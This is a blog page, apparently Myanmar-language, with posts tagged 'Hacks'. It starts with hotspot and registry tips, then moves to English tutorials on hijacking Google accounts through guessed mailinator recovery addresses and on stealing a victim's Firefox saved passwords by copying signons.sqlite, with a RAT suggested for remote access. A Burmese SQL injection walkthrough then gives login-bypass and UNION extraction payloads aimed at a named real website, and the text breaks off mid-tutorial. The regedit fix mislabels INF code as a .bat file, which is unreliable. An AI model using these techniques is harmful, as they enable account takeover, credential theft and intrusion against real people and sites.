Showing posts with label Hacks. Show all posts
Showing posts with label Hacks. Show all posts

Saturday, 15 December 2012

မိုဘုိင္းဖုန္းမွ တျခား Computer, MobilePhone,Tablet မ်ားသုိ႔ အင္တာနက္ ရွယ္ယာ လုပ္နည္း



အင္တာနက္ ရရွိတဲ့ ဖုန္းကေနျပီးေတာ့ Wi-Fi hotspot တစ္ခု တည္ေဆာက္ေပးျပီး ကြန္ပ်ဴတာ၊ မိုဘုိင္းဖုန္းနဲ႔ Tablet ေတြမွာ အေရအတြက္ ရွစ္လံုးအထိ အင္တာနက္ မွ်ေ၀ အသုံးျပဳႏိုင္ပါတယ္။ 
 
အင္တာနက္လိုင္း ရတဲ့ မိုဘုိင္းဖုန္းရဲ႕ အင္တာနက္ ကြန္နက္ရွင္ကို On ေပးပါ။
 Wi-Fi hotspot တစ္ခု တည္ေဆာက္မွာမို႔ ဖုန္းရဲ႕ Settings ကို အရင္ဖြင့္ပါ။ Wireless & networks ကိုရွာျပီး select လုပ္ပါ။ ကြန္နက္ရွင္ကို Share ေပးမွာမို႔ Tethering & portable hotspot ကို ေရြးေပးပါ။ Portable WLAN hotspot ကို ေတြ႔ရင္ေတာ့ check box မွာ အမွန္ျခစ္ျပီး Portable WLAN hotspot settings ထဲသုိ႔ ၀င္လုိက္ပါ။
 အျခား devices မ်ားႏွင့္ ခ်ိတ္ဆက္မွာျဖစ္တဲ့အတြက္ေၾကာင့္ကိုယ့္ ကြန္နက္ရွင္ လံုျခံဳစိတ္ခ်ရေစဖို႔အတြက္ Configure WLAN hotspot ထဲကို ၀င္ျပီး Security Password ေပးရပါမယ္။
 
Configure WLAN hotspot ထဲမွာ Network SSID, Security, Password ဆိုတဲ့ tabs သုံးခုကို ေတြ႔ရမယ္။
Network SSID မွာ စိတ္ၾကိဳက္ SSID Name ေပးလို႔ ရတယ္။ 
 Security ထဲမွာေတာ့ WPA2 PSK ကို ေရြးေပးလိုက္ပါ။ 
Password ကေတာ့ မိမိ စိတ္ၾကိဳက္ေပးလို႔ ရျပီး အနည္းဆံုး characters အေရအတြက္ (၈) လံုး အထိ ႐ုိက္ထည့္ေပးရပါမယ္။
 ျပီးသြားရင္ေတာ့ Save လုပ္လုိက္ပါ။
တဖက္မွာလည္း အင္တာနက္ လက္ခံအသုံးျပဳမယ့္ မိုဘုိင္းဖုန္းနဲ႔ Tablet မွာ WLAN Settings ထဲကို ၀င္ျပီး အင္တာနက္ လႊင့္ထားတဲ့ SSID
Name ကို ေတြ႔တာနဲ႔ Password ႐ုိက္ထည့္ျပီး အင္တာနက္ အသုံးျပဳႏိုင္ပါတယ္။ ကြန္ပ်ဴတာနဲ႔ အင္တာနက္ အသုံးျပဳခ်င္ရင္ေတာ့ ကြန္ပ်ဴတာရဲ့
Control Panel > Network and Internet > Manage Wireless Networks ထဲမွာ အင္တာနက္ လႊင့္ထားတဲ့ SSID Name ထဲ ၀င္ျပီး Password
႐ုိက္ထည့္ကာ အင္တာနက္ သံုးလို႔ရျပီ

အျပည့္အစံု

မိမိစက္က ေန Data မ်ား ကူးယူျခင္းမွ ကာကြယ္ရန္



မိတ္ေဆြတုိ ့ရဲ ့စက္က အေရးၾကီးတဲ ့data ျဖစ္ျဖစ္ အေရးမၾကီးလုိ ့ပဲျဖစ္ျဖစ္ ကုိယ္က မေပးပဲနဲ ့တစ္ျခားသူ ကူးယူျခင္းမလုပ္နုိင္ေအာင္ ကာကြယ္လုိ ့ရပါတယ္ဗ်ာ။စိတ္ပါသူမ်ားအတြက္ ေအာက္က နည္းေလးအတုိင္းစမး္သပ္နုိင္ပါတယ္။


:P ၁။ Start > Run > Regedit လို႔ ရိုက္ေပးပါ။ ၂။ Registry Editor ေပၚလာတဲ့အခါမွာHKey_Local_Machine\System\Current_Control_Set\Control ကို သြားပါ။ ၃။Control ကိုေရာက္ပီဆုိတာနဲ ့ right side မွာ right click ေထာက္ျပီး keyကိုေခၚလုိက္ပါ။ ဒါဆုိ left side မွာ New folder အသစ္တစ္ခုကိုေတြ ့ရပါလိမ့္မယ္ အဲဒီnew folder ကို မိမိတုိ ့က "StorageDevicePolicies " လို ့နာမည္ေပးလုိက္ပါမယ္။ ၄။ ညာဘက္ Task Pane ထဲမွာ DWORD ကို Create လုပ္ပါ။ အဲဒီမွာ WriteProtectလို႔႐ိုက္ၿပီး နာမည္ေပးပါ။ ၅။အဲဒီလိုနာမည္ေပးၿပီးရင္ ေပၚလာတဲ့ WriteProtect ဆိုတဲ့ ဖိုင္ေပၚမွာ Double Clickလုပ္ပါ။ Value Data အတြက္ 0 အစား 1 လို႔ ႐ိုက္ေပးပါ။ ၆။အားလံုးျပီးသြာရင္ေတာ့ ထံုးစံအတုိင္း စက္ကို restart ေပါ့ဗ်ာ.. တစ္ခ်ဴိ ့ျပင္ဆင္မူ ့ေတြကေတာ့ restart မလုပ္လည္း effect ျဖစ္ပါတယ္။ဒါေပမယ့္registry မွာျပင္ဆင္မူ ့ေတာ္ေတာ္မ်ားမ်ားကေတာ့ restart ေပးပီးမွ တက္ေရာက္မူ ့ရွိတာမ်ားပါတယ္..။ ဒါဆိုရင္ မိမိစက္ထဲမွာရွိတဲ ့Data ေတြကို အျခားသူကရဲ ့ ကိုယ္မသိပဲနဲ ့ကူးယူျခင္းမွ ကာကြယ္သြာနုိင္ပါျပီ။

အျပည့္အစံု

Thursday, 20 October 2011

VIRUS ဖ်က္စီးမႈေၾကာင့္ ပ်က္ဆီးသြားေသာ regedit ကို ျပန္ယူမယ္

Flashy ဆိုတဲ့ ဗိုင္းရပ္နဲ႔ သူ႔အမ်ိဳးကြဲေတြရဲ႕ ေနာက္ဆက္တြဲ ျပႆနာေတြကို ရွင္းေပးႏိုင္တဲ့ removal tool ေလးပါ။ မ်ားစြာ အသံုး၀င္ပါတယ္။ ၿပီးေတာ့ က်ေနာ္သိသေလာက္ သူနဲ႔ပက္သက္တဲ့ ပာာေတြကို ရွင္းခဲ့ပါတယ္။
(၁) Folder Option ကို ျပန္လည္ေဖာ္ဖို႔ဆိုရင္ေတာ့...
HKEY_CURRENT_USER \Software \Microsoft \Windows \CurrentVersion \Policies \Explorer

"NoFolder Options"="1" ျဖစ္ေနရင္ ဖ်က္ပါ ။

(၂) File extension မ်ား ေပ်ာက္ေနတာနဲ႔ Hidden ျဖစ္ေနတယ္ဆိုရင္ေတာ့....

HKEY_CURRENT_USER \Software \Microsoft \Windows \CurrentVersion \Policies \Explorer \Advanced

"HideFile Ext"="1" ႏွင့္ "Hidden"="2" ဟူေသာ စာသား မ်ားကို ဖ်က္ပါ။

(၃) Computer မွာ regedit ကို ေခၚလို႔ မရေတာ့ဘူးဆိုရင္ေတာ့....

Signature="$Chicago$" Provider=Symantec

[DefaultInstall] AddReg=UnhookRegKey

[UnhookRegKey] HKLM, Software\CLASSES\batfile\shell\open\command,,,"""%1"" %*" HKLM, Software\CLASSES\comfile\shell\open\command,,,"""%1"" %*" HKLM, Software\CLASSES\exefile\shell\open\command,,,"""%1"" %*" HKLM, Software\CLASSES\piffile\shell\open\command,,,"""%1"" %*" HKLM, Software\CLASSES\regfile\shell\open\command,,,"regedit.exe ""%1""" HKLM, Software\CLASSES\scrfile\shell\open\command,,,"""%1"" %*" HKCU, Software\Microsoft\Windows\CurrentVersion\Policies\System,DisableRegistryTools,0x00000020,0

အထက္မွာ ေဖာ္ျပထားတဲ့ ကုဒ္ေတြကို notepad နဲ႔ကူးၿပီး unhook.bat လုပ္ၿပီး run လိုက္ပါ။
regedit ကို ျပန္ေခၚလို႔ ရပါလိမ့္မယ္။

အျပည့္အစံု

How to hack Youtube, Gmail, Orkut account

Mailinator.com is temporary inbox provider. Temporary mail box provider allows you to access your inbox without putting any password for your @mailinator email inbox. No registration, no password. This can really help us to hack Youtube, Gmail and Orkut accounts. Many of the netizens use @mailinator.com email addresses as their recovery mail addresses. Thus, we can easily hack such Google accounts.

I will illustrate this hack using mail id: hotmail@mailinator.com

1. Go to Google Password Recovery page and enter hotmail@mailinator.com and hit on Submit.
Note: You can enter any mail id. Just use this format: ---@mailinator.com
Use popular names or email addresses as it increases chances victim using the same id as recovery email id.

Hacking Google accounts

2. Now, enter captcha and Google will send Password Reset mail at hotmail@mailinator.com

3. Go to mailinator.com and just enter hotmail@mailinator.com in "Check your inbox" field. Hit on "Go". You will be able to access inbox. Open Google's mail to see password reset link:

Password reset mail from Google

4. Click on it and change the password of the Google account to the one you desire.

How to hack Youtube, Gmail, orkut account password

The whole Google account and also the Google services like Gmail, Youtube, Orkut which are linked to that account are yours. Thus, you are able to hack Youtube, Gmail, orkut account password using this Mailinator hack.

How to hack email account password

Note: To prevent yourself from losing this hacked account, go to "Change password recovery options" and add a valid email address.

That's it friends. I hope you will be able to hack Youtube, Gmail or Orkut account using this hack. There are plenty of Google accounts available which can be hacked using this hack. If you have any problem in this tutorial to hack Youtube, Gmail, orkut account password, please mention it in comments.

Enjoy n hack youtube, gmail n orkut account password...

အျပည့္အစံု

Hack Email accounts using Firefox

Things which are necessary for this hack to be successfull:
1. Physical access to victim machine (if you don't have, use Cybergate RAT).
2. Victim's passwords saved in victim's Firefox.

Usually, whenever passwords are stored in Firefox, they can be easily seen by going to Tools -> Options ->Security and hitting on Saved Passwords.

But, if the victim if shrewd enough to use Master Password, on hitting Saved Passwords, you are prompted to enter Master Password. Master Password thus protects victim's password from being seen by any stranger and you are unable to hack his Email passwords which are stored in Firefox browser.

How to hack email accounts

This article shows you how to bypass Master Password of victim Firefox. So, follow the steps below to hack his Email account password, even if Master Password is in role.

Steps to hack Email Account:


Let us assume that victim uses Vista Operating system and you(hacker) are using Windows XP.

1. On victim computer, go to:
For Windows Vista:
C:\Users\RAJ\AppData\Roaming\Mozilla\Firefox\Profiles\iosjcyzp.default
For Windows XP:
C:\Documents and Settings\Administrator\Application Data\Mozilla\Firefox\Profiles\tez96yyu.default

Replace RAJ and Administrator with your victim's computer username.
and copy "signons.sqlite" file to your pen drive or any removable drive.

Stored password hack email

Note: If you are unable to find "signons.sqlite", simply go to C drive and search for "signons.sqlite". You will get it for sure.

2. Now, come back to your computer and paste this "signons.sqlite" in your Firefox by using the path in Step 1.

Firefox hack copy signons.sqlite file

3. After you've pasted "signons.sqlite" file in your firefox, open Firefox browser.

4. Go to Tools -> Options -> Security tab. Hit on "Show password" and this time, you will be able to see victim mail accounts in popup box. Hit on "Show password" again and you will be able to see his hacked email account passwords. Now, you don't have to enter any Master password.

Hacked Email passwords using Firefox

What is Logic behind this Firefox hack???


Firefox stores all the remembered passwords in two files:
1. Signons.sqlite and
2. Key3

Signons.sqlite is used to store all online username and passwords in encrypted form while Key3 file stores information about Master Password. So, in this hack, we are stealing victim's Signons.sqlite file (and not Key3) and opening it in our Firefox. Naturally, our Firefox shows victim's password and thus, we are able to hack email acccount passwords.

Really, this is one of the most vulnerable aspects of Firefox. Infact, Firefox stealers use this same logic for stealing Firefox saved passwords and thus to hack email accounts of victim. I have tried my best to keep this tutorial simple. If you have any problem in this Firefox hack to hack Email accounts of the victim, please mention it in comments.

Enjoy n hack Email accounts using Firefox...

အျပည့္အစံု

SQL Injection သုိ႔မဟုတ္ Hacker ေတြရဲ႕ တုိက္ကြက္ဆန္း

မိတ္ဆက္
Injection နဲ႔ပက္သက္တဲ႔အပုိင္းကုိ အေတြ႔အၾကံဳ မရင့္က်က္ေသးတဲ႔သူေတြ၊ အေတြ႔အၾကံဳရွိၿပီးတဲ႔သူေတြပါ နားလည္ႏုိင္ေအာင္ ကၽြန္ေတာ့္ရဲ႕ အၿမင္နဲ႔ နဲနဲေလာက္ Tutorial တစ္ခုအၿဖင့္ေရးသားလုိက္ပါတယ္။ SQL injectiong နဲ႔ပက္သက္တဲ႔ Tutorial ေတြကုိ Google မွာ ရွာၾကည့္လုိက္ပါက ေတာင္လုိပုံေနပါတယ္။ အားလုံးကေတာ့ အတူတူပါပဲ... SQL injector ေတြၿဖစ္ေစရန္တစ္ခုအတြက္မဟုတ္ပဲ SQL Injection နဲ႔အတူ php နဲ႔ mysql functions ေလးေတြကုိ သိကာ security ပုိင္းကုိ ထိန္းသိန္းကာကြယ္ႏုိင္ရန္အတြက္ ရည္ရြယ္၍ Computer ေ၀ါဟာရကုိ ၿမန္မာလုိ တုိက္ရုိက္ဘာသာၿပန္ရတာ နဲနဲေတာ့ နားရႈပ္သြားႏုိင္မယ္။ ဒါေပမဲ႔ အတတ္ႏုိင္ဆုံးေတာ့ နားလည္ေအာင္ ရွင္းၿပေပးလုိက္ပါတယ္။ SQL Injection ကုိေလ့လာတဲ႔အခါမွာ အေၿခခံ Web Developement ပုိင္းအေၿခခံရွိဖု႔ိေတာ့လိုပါလိမ့္မယ္.. ဒီ tutorial အတြက္ လုိအပ္တာကေတာ့ php နဲ႔ sql အေၾကာင္းသိထားရင္ နားလည္ေလာက္ပါတယ္။
---DATABASE ဆိုတာဘာလဲ?---
ရုိးရုိးရွင္းရွင္းပါပဲ... Database ဆုိတာဘာလဲဆုိရင္ Database ဆုိတာ အခ်က္အလက္ Data ေတြစုစည္းသိမ္းဆည္းထားတဲ႔ Application တစ္ခုပါပဲ... Application Programming Interface (API) ေတြကုိ တည္ေဆာက္ အသုံးၿပဳမယ္ ထိန္းသိမ္း သိမ္းဆည္းထားမယ္။ Database(DB) servers ေတြဟာ Web development လုပ္ငန္းေတြ နဲ႔လည္း ေပါင္းစည္းအသုံးၿပဳလုိ႔ရတဲ႔အတြက္ ၄င္းအထဲက data ေတြကုိ ထုတ္ယူအသုံးၿပဳ၊ ၾကည့္ရႈ႕ဖုိ႔ဆုိတာ ခက္ခဲ႔တဲ႔ကိစၥတစ္ခုေတာ့မဟုတ္ပါဘူး။ Database အထဲမွာ usernames, passwords စသည္ ေတြလုိ အေရးၾကီးတဲ႔ အခ်က္အလက္ေတြကုိလည္း သိမ္းဆည္းႏုိင္တာ ၿဖစ္တဲ႔အတြက္ Database ရဲ႕ လုံၿခံဳေရးဟာလည္း အလြန္ကုိအေရးၾကီးပါတယ္။ ထိန္းသိမ္းမႈ ညံ့ဖ်င္းတဲ႔ database တစ္နည္းအားၿဖင့္ အမွတ္တမဲ႔ၿဖစ္ေစ၊ သတိမမႈ၍ေသာ္လည္းေကာင္း၊ အေၾကာင္းေၾကာင္းအမ်ဳိးမ်ဳိးေၾကာင့္ programmer ေတြေရးသားထားတဲ႔ code ေတြရဲ႕ လြဲမွားမႈေတြ ေၾကာင့္ ဒီလုိဟာကြက္ေတြ ၿဖစ္ေပၚကာ database ထဲကုိ အၿခား တရားမ၀င္ ၀င္ေရာက္သူတုိ႔အား လမ္းဖြင့္ေပးသလုိၿဖစ္သြားတတ္ပါတယ္။ DB servers ေတြအမ်ားၾကီးရွိတဲ႔အထဲမွာ ဒါေလးေတြက အသုံးမ်ားတာေလးေတြပါ။
MySQL(Open source),
MSSQL,
MS-ACCESS,
Oracle,
Postgre SQL(open source),
SQLite စသည္ေပါ႔...
Database ရဲ႕ တည္ေဆာက္ပုံေလးကုိ ၿမင္ႏုိင္ေအာင္လုိ႔ ဇယားေလးနဲ႔ၿပထားတာပါ။
--- SQL INJECTION ဆုိသည္မွာ?---
SQL injection ဆုိတာကေတာ့ ယေန႔ေခတ္ အင္တာနက္စာမ်က္ႏွာေပၚမွာ အၿဖစ္အမ်ားဆုံး web application အမွားၿဖစ္ပါတယ္။ ၄င္း web application အမွားတစ္ခုမွေန၍ တရားမ၀င္ ၀င္ေရာက္အသုံးၿပဳသူေတြ (Hackers) က မိမိတုိ႔ရဲ႕ အေရးၾကီးတဲ႔ အခ်က္အလက္ေတြကုိ ခုိးယူသြားႏုိင္ပါတယ္။ ဒါေၾကာင့္ SQL injection ဆုိတာ web or db server တုိ႔ရဲ႕ အမွားေၾကာင့္မဟုတ္ပဲ အေတြ႔အၾကံဳမ့ဲ၊ အေရအခ်င္း ည့ံဖ်င္းတဲ႔ programming ေရးဆြဲသူေတြေၾကာင့္သာၿဖစ္ပါတယ္။ ဒီနည္းလမ္းက အေ၀းတစ္ေနရာကေန application, web server ကုိ အလြယ္ ကူဆုံးထိန္းခ်ဳပ္ႏုိင္ပါတယ္။ ဒီ SQL injection မွာ ပုံစံအမ်ဳိးမ်ဳိးေသာ SQL commands ေတြ နဲ႔ web page ကေန အမ်ဳိးမ်ဳိးေသာ data ေတြကို ထုတ္ယူႏုိင္ပါတယ္။

ဥပမာတစ္ခုအေနနဲ႔ေၿပာမယ္ဆုိရင္ ကၽြန္ေတာ္တုိ႔က Company တစ္ခုရဲ႕ Network တစ္ခုကုိ၀င္ေရာက္ေတာ့မယ္ဆုိရင္ port scanner ေတြနဲ႔ sanner ဖတ္ၿပီး အမွားေတြနဲ႕ ပြင့္ဟေနတဲ႔ port ကေန ၀င္ေရာက္သြားႏုိင္ပါတယ္။ ဒါေပမဲ႔လည္း အင္တာနက္နဲ႔ ခ်ိတ္ဆက္ထားတဲ႔ Web Server (Host Sever) တစ္ခုက port 80 ေလာက္ပဲဖြင့္မယ္၊ တစ္ၿခား security ပုိင္းေတြ ေပးထားမယ္ဆုိရင္ port scanner ဘယ္ေလာက္ေကာင္းေကာင္း အလုပ္ၿဖစ္မွာမဟုတ္ပါဘူး၊ ၀င္ေရာက္ဖုိ႔ခက္သြားပါလိမ့္မယ္( ခက္ခဲေနမယ္ )... ဒါဆုိရင္ Web Hacking ကုိ ဦးတည္ၿပီးေၿပာင္းၾကည့္ရပါလိမ့္မယ္... Web Hacking လုိ႔ေၿပာရင္ ေတာ္ေတာ္မ်ားမ်ားကေတာ့ SQL Injection ကုိပထမဦးစြာေၿပးၿမင္ၾကမွာပါပဲ... ဟုတ္တယ္ေလ.. SQL Injection ကတစ္ၿခားဘာမွမလုိဘူး Web Browser တစ္ခုပဲလုိတယ္...

---ေရွာင္ကြင္း ၀င္ေရာက္ၿခင္း---
Site ေတြမွာ username, password ေတြနဲ႔ login ၀င္ခုိင္းတယ္ဆုိတာ site အထဲမွာ ရွိတဲ႔ content ေတြကုိ မွတ္ပုံတင္ထားတဲ႔သူ (username & password ရွိထားတဲ႔သူ) ေတြကုိသာ ၾကည့္ရႈအသုံးၿပဳခြင့္ေပးထားတာပါ။ အကယ္၍ မိတ္ေဆြက username & password မရွိပဲ ရွိသကဲ႔သုိ႔ ၀င္ေရာက္အသုံးၿပဳမယ္ (user registration မလုပ္ပဲ ၀င္ေရာက္တယ္) ဆုိရင္ ဒါကုိ BYPASSING LOGINS လုပ္တယ္လုိ႔ေခၚပါတယ္။ ဒါကေတာ့ programmer ရဲ႕ login မွာစီစစ္မႈ မေသခ်ာလုိ႔ ၿဖစ္တဲ႔အတြက္ ကံေကာင္းေထာက္မစြာနဲ႔ User name နဲ႔ Password ကုိမသိပဲ login ၀င္လုိ႔ရသြားပါလိမ့္မယ္။

ဥပမာတစ္ခုအေနနဲ႔ ၾကည့္မယ္ဆုိရင္ username က admin ၿဖစ္ၿပီး password က 12345 ဆုိၾကပါစုိ႔... ဒါဆိုရင္ SQL query က
SELECT USER from database WHERE username='admin' AND password='12345' ဆုိၿပီးၿဖစ္သြားပါလိမ့္မယ္..... အကယ္၍ အေပၚ SELECT command တန္ဖုိးက မွန္တယ္ဆုိရင္ site ထဲကုိ ၀င္ခြင့္ၿပဳမွာၿဖစ္ပါတယ္။ အကယ္၍ အထက္ပါေၿပာခဲ႔သလုိ programmer က login မွာမွန္ကန္တဲ႔စီစစ္မႈမရွိရင္ Hacker ေတြက ေအာက္ပါအတုိင္း ၀င္ေရာက္သြားႏုိင္ပါတယ္။

username:a or 1=1--
password:blank

SQL query မွာေတာ့

SELECT USER from database WHERE username='a' or 1=1-- AND password=''

ဒါက comment operator ပါ အဲ႔လုိပဲ အၿခား comment operator က /* ၿဖစ္ပါတယ္။

SELECT USER from database WHERE username='a' or 1=1

1=1 က အၿမဲတန္း query ကုိ true ၿဖစ္ေစၿပီး OR ကေတာ့ query တစ္ခုက true ၿဖစ္တဲ႔အတြက္ အၿခားတစ္ခုကုိလည္း true ၿဖစ္သြားေစပါတယ္ဒါေၾကာင့္ 'a' ဆုိတဲ႔ user ဟာ DB မွာမရွိေတာင္မွ ဒီ query က true ၿဖစ္ကာ site admin ကို၀င္ေရာက္ခြင့္ေပးသြားပါလိမ့္မယ္... ဒီလုိနည္းနဲ႔ Vulnerable ၿဖစ္တဲ႔ site ေတြအတြက္ ေအာက္ပါအတုိင္း စမ္းစစ္ႏုိင္ပါေသးတယ္...

username:' or 1='1 password:' or 1='1
username:' or '1'='1' password:' or '1'='1'
username:or 1=1 password:or 1=1
--- လ်ဳိ႕၀ွက္ထားေသာ Data မ်ားကုိ ၀င္ေရာက္အသုံးၿပဳၿခင္း---
SQL injection က အခုလုိ bypassing logins တစ္ခုတည္းမဟုတ္ပဲ DB servers ကေန လ်ဳိ႕၀ွက္စြာသိမ္းဆည္းထားတဲ႔ Data ေတြကုိ ရယူႏုိင္ပါတယ္... အနည္းငယ္ရႈပ္ေထြးေနမွာၿဖစ္တဲ႔အတြက္ နဲနဲေလး အထူးဂရုၿပဳၿပီးေတာ့ ေလ့လာၾကည့္ပါ။ ေအာက္ပုိင္းမွာ လက္ေတြ႔စမ္းလုိ႔ရေအာ္ site link နဲ႔ တကြ ေဖာ္ၿပေပးထားပါတယ္။

---အားနည္းခ်က္ အမွားမ်ား ရွာေဖြစစ္ေဆးၿခင္း---
Site တစ္ခုကုိရွာလုိက္မယ္...
In PHP ==>>
www.site.com/article.php?id=5

id variable assign လုပ္ထားတဲ႔ ေနာက္နားက ' (apostrophe) ေလးတစ္ခုကုိ ထည့္လုိက္ပါမယ္..

www.site.com/article.php?id=5'
ဒီလုိလုိ စမ္းတဲ႔ေနရာမွာ
Integer Based

www.site.com/script.php?param=36'
www.site.com/script.php?param='36'
www.site.com/script.php?param=(12+24)
www.site.com/script.php?param=%
www.site.com/script.php?param=36'a

String Based

www.site.com/script.php?param=Text'--
www.site.com/script.php?param=Te'+'xt
www.site.com/script.php?param=Tex%
ဆုိၿပီးရွိပါတယ္.. အဆင္ေၿပသလုိ စမ္းသပ္ႏုိင္ပါတယ္...

အကယ္၍ ၄င္းရဲ႕ site က vulnerable မၿဖစ္ဘူးဆုိရင္ ပုံမွန္အတုိင္း page loading လုပ္သြားပါလိမ့္မယ္..
အဲ႔လုိမဟုတ္ပဲ query string filtering မရွိဘူးဆုိရင္ "MySQL Syntax Error By '5'' In Article.php on line 15." သုိမဟုတ္ Check the correct MySQL version သုိ႔မဟုတ္ MySQL Fetch error သုိ႔မဟုတ္ပါက ဘာမွမေပၚပဲ page အၿဖဴၾကီးသာေပၚေနပါလိမ့္မယ္... ဒါဆုိရင္ ဒီ site က vulnerable ၿဖစ္ေနပါတယ္ အကယ္၍ ' ၿဖင့္ မရလွ်င္ ေအာက္ပါအတုိင္း union select 1-- ဆုိတာကုိသုံးႏုိင္ပါတယ္။

www.site.com/article.php?id=5 union select 1--

In ASP ==>>
အထက္ပါနည္းအတုိင္း
http://www.site.com/index.asp?id=5
ဆုိရင္ ေနာက္က ' (apostrophe) ေလးထည့္ၿပီးစမ္းႏုိင္ပါတယ္။
http://www.site.com/index.asp?id=5'
ဒါဆုိရင္

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'table1' to a column of data type int.
/index.asp, line 5

ဆုိတဲ႔ error မ်ဳိးေပၚေနတတ္ၿပီး ASP, JSP, CGI, နဲ႔ PHP web pages ေတြမွာ စမ္းသပ္ႏုိင္ပါတယ္။

အကယ္၍ URL မွာ မေပၚတဲ႔ parameters မ်ဳိးဆုိရင္ ၄င္းတုိ႔ရဲ႕ login page, search page, feedback လုိေနရာမ်ဳိးေတြက ရွာႏုိင္ပါတယ္.. တစ္ခ်ဳိ႕ html page ေတြက POST command နဲ႔ ASP page ကုိ ပုိ႔ေဆာင္ေပးတဲ႔ parameters သုံးထားတတ္ပါတယ္.. ဒါဆုိရင္ေတာ့ ၄င္းတုိ႔ရဲ႕ HTML source code ထဲကုိ ၀င္ေရာက္ပါ။ ၿပီးရင္ "FORM" tag ကုိရွာလုိက္ပါ ... ဥပမာ
<FORM action=Search/search.asp method=post>
<input type=hidden name=A value=C>
</FORM>

ဒီ <FORM></FORM> ႏွစ္ခုၾကားက ၿဖစ္ႏုိင္ေၿခေတြပါ။

<FORM action=http://duck/Search/search.asp method=post>
<input type=hidden name=A value='a' or 1=1--">
</FORM>

value မွာ အေပၚကအတုိင္း BYPASSING LOGINS မွာသုံးသလုိ စမ္းသပ္ၿပီးရွာေဖြႏုိင္ပါတယ္။

---Columns အေရအတြက္ရွာေဖြၿခင္း---
‘order by’ ကုိအသုံးၿပဳၿပီး Columns မ်ားကုိ ရွာေဖြမွာၿဖစ္ပါတယ္..
URL query ကုိေအာက္ပါတုိင္း ရုိက္ထည့္လုိက္ပါမယ္... '/*' သုိ႔မဟုတ္ '--" ဆုိတာေလးသုံးလုိ႔ရပါတယ္..

www.site.com/article.php?id=5 order by 1/*
အမွားမေပၚဘူးဆုိရင္ ေနာက္တစ္ခါ 2 ဆုိၿပီးတုိးကာ ရုိက္ထည့္ပါမယ္

www.site.com/article.php?id=5 order by 2/*
ယခုအခ်ိန္အထိ အမွားမေပၚေသးဘူးဆုိရင္ ေနာက္တစ္ ထပ္ၿပီးတုိးပါမယ္.. ဒီလုိတုိးတုိးၿပီး အမွားေပၚလာတဲ႔အထိ ရွာေဖြရမွာၿဖစ္ပါတယ္...

www.site.com/article.php?id=5 order by 3/*

အခု 3 ကုိေရာက္တဲ႔အခါ အမွားေတြ႔တယ္ဆုိရင္
ဒါဆုိရင္ ကၽြန္ေတာ္တုိ႔ Columns ႏွစ္ခုရွိတယ္ဆုိတာ သိသြားပါၿပီ... ဒီလုိနည္းနဲ႔ Column ေတြကုိ တစ္ဆင့္ၿခင္းရွာေဖြရပါတယ္...

ေနာက္တစ္ခု ပုံနဲ႔ တကြ ရွာေဖြၾကည့္ရေအာင္

http://sbisa.org/circle.php?id=26 ကုိၾကည့္မယ္..
 
http://sbisa.org/circle.php?id=26 ရဲ႕ value ေနာက္မွာ ' ဆုိတဲ႔ (apostrophe) တစ္ခုထည့္လုိက္ပါမယ္..
 
Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /home/sbisaor/public_html/circle.php on line 10 ဆုိတဲ႔ error တစ္ခုေတြ႔ပါလိမ့္မယ္..

ဒါဆုိရင္ေသခ်ာတယ္.. SQL error တစ္ခုတက္ေနၿပီ... တိတိက်က်ေၿပာရရင္ DB Server က MySQL
OK, ဒါဆုိရင္ ကၽြန္ေတာ္တုိ႔ Columns အေရအတြက္ရွာမယ္...

http://sbisa.org/circle.php?id=-26 order by 1,2,3,4,5,6-- ဒီအထိအဆင့္အဆင့္ရွာတယ္... error မၿဖစ္ေသးဘူး
 
7 အထိေရာက္တဲ႔အခါမွာေတာ့ error ေတြ႔တယ္ဆုိရင္ ဒါဟာ 6 Columns ရွိတယ္...
 --
ဒါဆုိရင္ေနာက္ထပ္ UNION SELECT ALL ဆုိတဲ႔ statement တစ္ခုကုိသုံးမယ္..
http://sbisa.org/circle.php?id=-26 union select all 1,2,3,4,5,6-- ဆုိၿပီးရုိက္ထည့္လုိက္မယ္..
---
ဒါဆုိရင္ 2,3,4 ဆုိတာၿပမယ္.. ဒီအပုိင္းေတြက data ေတြသိမ္းဆည္းထားတဲ႔ Columns ေတြၿဖစ္တယ္...

---MySQL version ရွာၿခင္း---
ဒီ Injection မွာ MySQL Version ကုိ checking လုပ္ဖုိ႔လုိပါတယ္... . Version အား Checking လုပ္ရန္ @@version သုိ႔မဟုတ္ version() functions ေတြကုိသုံးေပးရပါမယ္..
အခု @@version ကုိ data ေတြသိမ္းဆည္းထားတဲ႔ column မွာထည့္ၿပီး MySQL version ကုိစစ္မယ္..

http://sbisa.org/circle.php?id=-26 union select all 1,@@version,3,4,5,6--
 ---
သုိ႔မဟုတ္

http://sbisa.org/circle.php?id=-26 union select all 1,version(),3,4,5,6--

ကုိသုံးႏုိင္ပါတယ္.. တခါတစ္ေလမွာ အထက္ပါနည္းအတုိင္းက error ေတြၿဖစ္တတ္တဲ႔အတြက္ unhex(hex()) ကုိသုံးေပးရပါမယ္..

http://sbisa.org/circle.php?id=-26 union select all 1,unhex(hex(@@version)),3,4,5,6--

ဒါဆုိရင္ Server မွာ အသုံးၿပဳေနတဲ႔ MySQL ရဲ႕ version ကုိေဖာ္ၿပေပးသြားပါလိမ့္မယ္...
အကယ္၍ user တုိ႔ ၊ database တုိ႔ကုိ check ခ်င္တယ္ဆုိရင္ ေအာက္ပါတုိင္း checking လုပ္ႏုိင္ပါတယ္..

www.site.com/article.php?id=5 UNION ALL SELECT user(),2/*
www.site.com/article.php?id=5 UNION ALL SELECT database(),2/*

ဥပမာ :- http://sbisa.org/circle.php?id=-26 union select all 1,version(),database(),user(),5,6--
----
---MySQL 5 ႏွင့္အထက္ injection---
အခုကၽြန္ေတာ္တုိ႔ ရတာ MySQL version 5.0.90 ၿဖစ္ပါတယ္... MySQL version 5 မွာ information_schema ဆုိတဲ႔ အသုံး၀င္တဲ႔ funtion တစ္ခုပါ၀င္ၿပီး ၄င္းက လက္ရွိ DB server ရဲ႕ tables နဲ႔ columns ေတြကုိ ထိန္းသိမ္းထားတာၿဖစ္ပါတယ္...
Tables ေတြကုိရယူရန္ table_name from information_schema.tables ဆုိတာကုိသုံးသလုိ
Columns ေတြကုိရယူရန္ column_name from information_schema.columns ဆုိတာကုိသုံးရပါမယ္..
ေနာက္တစ္ခုကေတာ့ ဒီ site အေပၚမွာ ၿမင္ရေအာင္လုိ႔ group_concat(table_name) ကုိ Tables ေတြအတြက္နဲ႔
